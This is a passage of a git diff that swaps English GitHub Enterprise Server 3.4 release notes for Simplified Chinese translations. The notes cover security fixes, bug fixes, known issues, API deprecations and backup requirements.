private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services needs to be restarted after restoring appliance from backup taken on a different host. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - | - When using SAML encrypted assertions with {% data variables.product.prodname_ghe_server %} 3.4.0 and 3.4.1, a new XML attribute `WantAssertionsEncrypted` in the `SPSSODescriptor` contains an invalid attribute for SAML metadata. IdPs that consume this SAML metadata endpoint may encounter errors when validating the SAML metadata XML schema. A fix will be available in the next patch release. [Updated: 2022-04-11] - - To work around this problem, you can take one of the two following actions. - - Reconfigure the IdP by uploading a static copy of the SAML metadata without the `WantAssertionsEncrypted` attribute. - - Copy the SAML metadata, remove `WantAssertionsEncrypted` attribute, host it on a web server, and reconfigure the IdP to point to that URL. - - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] - deprecations: - - heading: Deprecation of GitHub Enterprise Server 3.0 - notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' - - heading: Deprecation of GitHub Enterprise Server 3.1 - notes: - - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - 从不同主机上的备份恢复设备后,需要重启 Actions 服务。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自承载运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] - - heading: Deprecation of XenServer Hypervisor support +| + - |在 {% data variables.product.prodname_ghe_server %} 3.4.0 和 3.4.1 中使用 SAML 加密断言时,`SPSSODescriptor` 中的新 XML 属性 `WantAssertionsEncrypted` 包含 SAML 元数据的无效属性。使用此 SAML 元数据终结点的 IdP 在验证 SAML 元数据 XML 模式时可能会遇到错误。修复程序将在下一个修补程序版本中提供。[更新时间:2022-04-11] + + + +若要解决此问题,可以执行以下两个操作之一。 + +- 通过上传不带 `WantAssertionsEncrypted` 属性的 SAML 元数据的静态副本来重新配置 IdP。 + +- 复制 SAML 元数据,删除 `WantAssertionsEncrypted` 属性,将其托管在 Web 服务器上,然后重新配置 IdP 以指向该 URL。 + +| + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: 弃用 GitHub Enterprise Server 3.0 + notes: + - '{% data variables.product.prodname_ghe_server %} 3.0 已于 2022 年 2 月 16 日停用****。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 3.1 + notes: + - '{% data variables.product.prodname_ghe_server %} 3.1 将于 2022 年 6 月 3 日停用****。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + + - heading: 弃用 XenServer Hypervisor 支持 notes: # https://github.com/github/docs-content/issues/4439 - - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + - "从 {% data variables.product.prodname_ghe_server %} 3.3 开始,XenServer 上的 {% data variables.product.prodname_ghe_server %} 已弃用且不再受支持。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com)。" - - heading: Deprecation of the Content Attachments API preview + - heading: 弃用内容附件 API 预览版 notes: # - - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + - "由于使用率低,我们已在 {% data variables.product.prodname_ghe_server %} 3.4 中弃用了内容引用 API 预览版。该 API 以前可以通过 `corsair-preview` 标头访问。用户可以在没有此 API 的情况下继续导航到外部 URL。内容引用 API 的任何注册使用将不再收到来自注册域的 URL 的 Webhook 通知,并且我们不再返回有效的响应代码来尝试更新现有内容附件。" - - heading: Deprecation of the Codes of Conduct API preview + - heading: 弃用行为准则 API 预览版 notes: # https://github.com/github/releases/issues/1708 - - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + - '可通过 `scarlet-witch-preview` 标头访问的行为准则 API 预览版已弃用,并且在 {% data variables.product.prodname_ghe_server %} 3.4 中不再可访问。我们建议使用“[获取社区配置文件指标](/rest/reference/repos#get-community-profile-metrics)”终结点来检索有关存储库行为准则的信息。有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} 更改日志中的“[弃用通知:行为准则 API 预览版](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)”。' - - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + - heading: 弃用 OAuth 应用程序 API 终结点和使用查询参数的 API 身份验证 notes: # https://github.com/github/releases/issues/1316 - - | - Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + - |从 {% data variables.product.prodname_ghe_server %} 3.4 开始,[OAuth 应用程序 API 终结点的弃用版本](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected)已被删除。如果在这些终结点上遇到 404 错误消息,请将代码转换为 URL 中没有 `access_tokens` 的 OAuth 应用程序 API 版本。我们还禁用了使用查询参数的 API 身份验证。我们建议使用[请求标头中的 API 身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)。 - - heading: Deprecation of the CodeQL runner +| + - heading: 弃用 CodeQL 运行器 notes: # https://github.com/github/releases/issues/1632 - - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + - "{% data variables.product.prodname_codeql %} 运行器在 {% data variables.product.prodname_ghe_server %} 3.4 中已弃用,不再受支持。弃用仅影响在第三方 CI/CD 系统中使用 {% data variables.product.prodname_codeql %} 代码扫描的用户;{% data variables.product.prodname_actions %} 用户不受影响。我们强烈建议客户迁移到 {% data variables.product.prodname_codeql %} CLI,它是 {% data variables.product.prodname_codeql %} 运行器功能完善的替代项。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/)。" - - heading: Deprecation of custom bit-cache extensions + - heading: 弃用自定义位缓存扩展 notes: # https://github.com/github/releases/issues/1415 - - | - Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + - |从 {% data variables.product.prodname_ghe_server %} 3.1 开始,开始逐渐停用对 {% data variables.product.company_short %} 的专有位缓存扩展的支持。从 {% data variables.product.prodname_ghe_server %} 3.3 开始,这些扩展已被弃用。 - Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. - Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. - To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. +运行版本 3.1 或 3.2 的 {% data variables.product.product_location %} 上已经存在并处于活动状态的任何存储库都将自动更新。 - - heading: Change to the format of authentication tokens affects GitHub Connect + + +在升级到 {% data variables.product.prodname_ghe_server %} 3.3 之前不存在且处于活动状态的存储库可能无法以最佳方式执行,直到运行存储库维护任务并成功完成。 + + + +若要手动启动存储库维护任务,请浏览到 `https:///stafftools/repositories///network` 查看每个受影响的存储库,然后单击“计划”按钮。 + +| + - heading: 更改身份验证令牌的格式会影响 GitHub Connect notes: # https://github.com/github/releases/issues/1235 - - | - GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. For more information, see the [GitHub changelog](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/). [Updated: 2022-06-14] + - |由于 GitHub 身份验证令牌的格式发生变化,6 月 3 日之后,运行 GitHub Enterprise Server 3.1 或更早版本的实例将不再使用 GitHub Connect。有关详细信息,请参阅 [GitHub 更改日志](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/)。[更新时间:2022-06-14] +| backups: - - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' + - '{% data variables.product.prodname_ghe_server %} 3.4 至少需要 [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/1.yml index f6ec01151d..44394e2115 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/1.yml @@ -1,107 +1,117 @@ date: '2022-04-04' sections: security_fixes: - - 'MEDIUM: A path traversal vulnerability was identified in {% data variables.product.prodname_ghe_server %} Management Console that allowed the bypass of CSRF protections. This vulnerability affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.5 and was fixed in versions 3.1.19, 3.2.11, 3.3.6, 3.4.1. This vulnerability was reported via the {% data variables.product.prodname_dotcom %} Bug Bounty program and has been assigned CVE-2022-23732.' - - 'MEDIUM: An integer overflow vulnerability was identified in the 1.x branch and the 2.x branch of `yajil` which leads to subsequent heap memory corruption when dealing with large (~2GB) inputs. This vulnerability was reported internally and has been assigned CVE-2022-24795. ' - - Support bundles could include sensitive files if {% data variables.product.prodname_actions %} was enabled. - - Packages have been updated to the latest security versions. + - '中:在 {% data variables.product.prodname_ghe_server %} 管理控制台中发现了一个允许绕过 CSRF 保护的路径遍历漏洞。此漏洞影响 3.5 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.1.19、3.2.11、3.3.6 和 3.4.1 中修复。该漏洞通过 {% data variables.product.prodname_dotcom %} Bug 悬赏计划报告,编号为 CVE-2022-23732。' + - '中:在 `yajil` 的 1.x 分支和 2.x 分支中发现了一个整数溢出漏洞,该漏洞在处理大型 (~2GB) 输入时会导致随后的堆内存损坏。此漏洞是内部报告的,编号为 CVE-2022-24795。' + - "如果启用了 {% data variables.product.prodname_actions %},支持包可能包含敏感文件。" + - 包已更新到最新的安全版本。 bugs: - - A workflow run may not complete if it uses composite-actions. - - When enabling {% data variables.product.prodname_dependabot %}, an error caused some security advisories to temporarily read as no-longer applicable. - - Minio processes would have high CPU usage if an old configuration option was present after upgrading {% data variables.product.prodname_ghe_server %}. - - The options to enable `TLS 1.0` and `TLS 1.1` in the Privacy settings of the Management Console were shown, although removal of those protocol versions occurred in an earlier release. - - In a HA environment, configuring MSSQL replication could require additional manual steps after enabling {% data variables.product.prodname_actions %} for the first time. - - A subset of internal configuration files are more reliably updated after a hotpatch. - - The `ghe-run-migrations` script would sometimes fail to generate temporary certificate names correctly. - - Pre-receive hooks that used `gpg --import` timed out due to insufficient `syscall` privileges. - - In some cluster topologies, webhook delivery information was not available. - - The {% data variables.product.prodname_actions %} deployment graph would display an error when rendering a pending job. - - Elasticsearch health checks would not allow a yellow cluster status when running migrations. - - When using the [Migrations API](/rest/reference/migrations), queued export jobs were not processed. - - Repositories would display a non-functional Discussions tab in the web UI. - - Organizations created as a result of a user transforming their user account into an organization were not added to the global enterprise account. - - LDAP user sync jobs would fail when trying to sync GPG keys that had been synced previously. - - Links to inaccessible pages were removed. - - Some instances experienced high CPU usage due to large amounts unnecessary background jobs being queued. - - Empty repositories didnt sync correctly to cache servers. - - Adding a team as a reviewer to a pull request would sometimes show the incorrect number of members on that team. - - The remove team membership API endpoint would respond with an error when attempting to remove member externally managed via a SCIM Group. - - A large number of dormant users could cause a {% data variables.product.prodname_github_connect %} configuration to fail. - - The "Feature & beta enrollments" page in the Site admin web UI was incorrectly available. - - The "Site admin mode" link in the site footer did not change state when clicked. + - 如果使用复合操作,工作流运行可能无法完成。 + - "启用 {% data variables.product.prodname_dependabot %} 时,一个错误导致某些安全公告暂时读取为不再适用。" + - "如果升级 {% data variables.product.prodname_ghe_server %} 后存在旧配置选项,Minio 进程的 CPU 使用率会很高。" + - 显示了在管理控制台的“隐私”设置中启用 `TLS 1.0` 和 `TLS 1.1` 的选项,尽管在早期版本中删除了这些协议版本。 + - "在 HA 环境中,在首次启用 {% data variables.product.prodname_actions %} 后,配置 MSSQL 复制可能需要额外的手动步骤。" + - 经过热补丁,内部配置文件的子集更新会更可靠。 + - "`ghe-run-migrations` 脚本有时无法正确生成临时证书名称。" + - 由于 `syscall` 权限不足,使用 `gpg --import` 的预接收挂钩超时。 + - 在某些群集拓扑中,Webhook 交付信息不可用。 + - "{% data variables.product.prodname_actions %} 部署图在呈现待处理作业时会显示错误。" + - 在运行迁移时,Elasticsearch 运行状况检查不允许出现黄色群集状态。 + - "使用[迁移 API](/rest/reference/migrations) 时,未处理排队的导出作业。" + - 存储库将在 Web UI 中显示非功能性讨论选项卡。 + - 由于用户将其用户帐户转换为组织帐户而创建的组织未添加到全局企业帐户中。 + - 尝试同步之前已同步的 GPG 密钥时,LDAP 用户同步作业会失败。 + - 指向无法访问页面的链接已被删除。 + - 由于大量不必要的后台作业排队,一些实例遇到了高 CPU 使用率。 + - 空存储库未正确同步到缓存服务器。 + - 将团队添加为拉取请求的审阅者时,有时会显示不正确的团队成员数量。 + - 尝试删除通过 SCIM 组外部管理的成员时,删除团队成员资格 API 终结点将响应错误。 + - "大量休眠用户可能会导致 {% data variables.product.prodname_github_connect %} 配置失败。" + - 站点管理员 Web UI 中的“功能和 beta 版本注册”页面无法正确使用。 + - 单击站点页脚中的“站点管理员模式”链接时,其状态未发生更改。 changes: - - Memcached connection limits were increased to better accommodate large cluster topologies. - - The Dependency Graph API previously ran with a statically defined port. - - The default shard counts for cluster-related Elasticsearch shard settings have been updated. - - The [Migrations API](/rest/reference/migrations) now generates exports of repositories. - - When filtering enterprise members by organization role on the "People" page, the text for the dropdown menu items has been improved. - - The “Triage” and “Maintain” team roles are preserved during repository migrations. - - Using ghe-migrator or exporting from GitHub.com, an export would not include Pull Request attachments. - - Performance has been improved for web requests made by enterprise owners. + - 增加了 Memcached 连接限制以更好地适应大型群集拓扑。 + - 依赖项关系图 API 以前使用静态定义的端口运行。 + - 与群集相关的 Elasticsearch 分片设置的默认分片计数已更新。 + - "[迁移 API](/rest/reference/migrations) 现在生成存储库的导出。" + - 在“人员”页面上按组织角色筛选企业成员时,改进了下拉菜单项的文本。 + - “会审”和“维护”团队角色在存储库迁移期间保留。 + - 使用 ghe-migrator 或从 GitHub.com 导出时,导出将不包含拉取请求附件。 + - 企业所有者提出的 Web 请求的性能已得到改进。 known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - | - After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] - - | - When using SAML encrypted assertions with {% data variables.product.prodname_ghe_server %} 3.4.0 and 3.4.1, a new XML attribute `WantAssertionsEncrypted` in the `SPSSODescriptor` contains an invalid attribute for SAML metadata. IdPs that consume this SAML metadata endpoint may encounter errors when validating the SAML metadata XML schema. A fix will be available in the next patch release. [Updated: 2022-04-11] - - To work around this problem, you can take one of the two following actions. - - Reconfigure the IdP by uploading a static copy of the SAML metadata without the `WantAssertionsEncrypted` attribute. - - Copy the SAML metadata, remove `WantAssertionsEncrypted` attribute, host it on a web server, and reconfigure the IdP to point to that URL. - - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] - deprecations: - - heading: Deprecation of GitHub Enterprise Server 3.0 - notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' - - heading: Deprecation of GitHub Enterprise Server 3.1 - notes: - - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - |在多个级别(例如,企业和组织)使用 `--ephemeral` 参数注册自托管运行器后,运行器可能会陷入空闲状态并需要重新注册。[更新时间:2022-06-17] - - heading: Deprecation of XenServer Hypervisor support +| + - |在 {% data variables.product.prodname_ghe_server %} 3.4.0 和 3.4.1 中使用 SAML 加密断言时,`SPSSODescriptor` 中的新 XML 属性 `WantAssertionsEncrypted` 包含 SAML 元数据的无效属性。使用此 SAML 元数据终结点的 IdP 在验证 SAML 元数据 XML 模式时可能会遇到错误。修复程序将在下一个修补程序版本中提供。[更新时间:2022-04-11] + + + +若要解决此问题,可以执行以下两个操作之一。 + +- 通过上传不带 `WantAssertionsEncrypted` 属性的 SAML 元数据的静态副本来重新配置 IdP。 + +- 复制 SAML 元数据,删除 `WantAssertionsEncrypted` 属性,将其托管在 Web 服务器上,然后重新配置 IdP 以指向该 URL。 + +| + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: 弃用 GitHub Enterprise Server 3.0 + notes: + - '{% data variables.product.prodname_ghe_server %} 3.0 已于 2022 年 2 月 16 日停用****。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 3.1 + notes: + - '{% data variables.product.prodname_ghe_server %} 3.1 将于 2022 年 6 月 3 日停用****。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server)。' + + - heading: 弃用 XenServer Hypervisor 支持 notes: # https://github.com/github/docs-content/issues/4439 - - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + - "从 {% data variables.product.prodname_ghe_server %} 3.3 开始,XenServer 上的 {% data variables.product.prodname_ghe_server %} 已弃用且不再受支持。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com)。" - - heading: Deprecation of the Content Attachments API preview + - heading: 弃用内容附件 API 预览版 notes: # - - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + - "由于使用率低,我们已在 {% data variables.product.prodname_ghe_server %} 3.4 中弃用了内容引用 API 预览版。该 API 以前可以通过 `corsair-preview` 标头访问。用户可以在没有此 API 的情况下继续导航到外部 URL。内容引用 API 的任何注册使用将不再收到来自注册域的 URL 的 Webhook 通知,并且我们不再返回有效的响应代码以尝试更新现有内容附件。" - - heading: Deprecation of the Codes of Conduct API preview + - heading: 弃用行为准则 API 预览版 notes: # https://github.com/github/releases/issues/1708 - - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + - '可通过 `scarlet-witch-preview` 标头访问的行为准则 API 预览版已弃用,并且在 {% data variables.product.prodname_ghe_server %} 3.4 中不再可访问。我们建议使用“[获取社区配置文件指标](/rest/reference/repos#get-community-profile-metrics)”终结点来检索有关存储库行为准则的信息。有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} 更改日志中的“[弃用通知:行为准则 API 预览版](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)”。' - - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + - heading: 弃用 OAuth 应用程序 API 终结点和使用查询参数的 API 身份验证 notes: # https://github.com/github/releases/issues/1316 - - | - Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + - |从 {% data variables.product.prodname_ghe_server %} 3.4 开始,[OAuth 应用程序 API 终结点的弃用版本](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected)已被删除。如果在这些终结点上遇到 404 错误消息,请将代码转换为 URL 中没有 `access_tokens` 的 OAuth 应用程序 API 版本。我们还禁用了使用查询参数的 API 身份验证。我们建议使用[请求标头中的 API 身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)。 - - heading: Deprecation of the CodeQL runner +| + - heading: 弃用 CodeQL 运行器 notes: # https://github.com/github/releases/issues/1632 - - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + - "{% data variables.product.prodname_codeql %} 运行器在 {% data variables.product.prodname_ghe_server %} 3.4 中已弃用,不再受支持。弃用仅影响在第三方 CI/CD 系统中使用 {% data variables.product.prodname_codeql %} 代码扫描的用户;{% data variables.product.prodname_actions %} 用户不受影响。我们强烈建议客户迁移到 {% data variables.product.prodname_codeql %} CLI,它是 {% data variables.product.prodname_codeql %} 运行器功能完善的替代项。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/)。" - - heading: Deprecation of custom bit-cache extensions + - heading: 弃用自定义位缓存扩展 notes: # https://github.com/github/releases/issues/1415 - - | - Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + - |从 {% data variables.product.prodname_ghe_server %} 3.1 开始,开始逐渐停用对 {% data variables.product.company_short %} 的专有位缓存扩展的支持。从 {% data variables.product.prodname_ghe_server %} 3.3 开始,这些扩展已被弃用。 - Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. - Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. - To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. +运行版本 3.1 或 3.2 的 {% data variables.product.product_location %} 上已经存在并处于活动状态的任何存储库都将自动更新。 + + +在升级到 {% data variables.product.prodname_ghe_server %} 3.3 之前不存在且处于活动状态的存储库可能无法以最佳方式执行,直到运行存储库维护任务并成功完成。 + + + +若要手动启动存储库维护任务,请浏览到 `https:///stafftools/repositories///network` 查看每个受影响的存储库,然后单击“计划”按钮。 + +| backups: - - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' + - '{% data variables.product.prodname_ghe_server %} 3.4 至少需要 [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/2.yml index c69db675ae..756e0550ae 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/2.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/2.yml @@ -1,88 +1,93 @@ date: '2022-04-20' 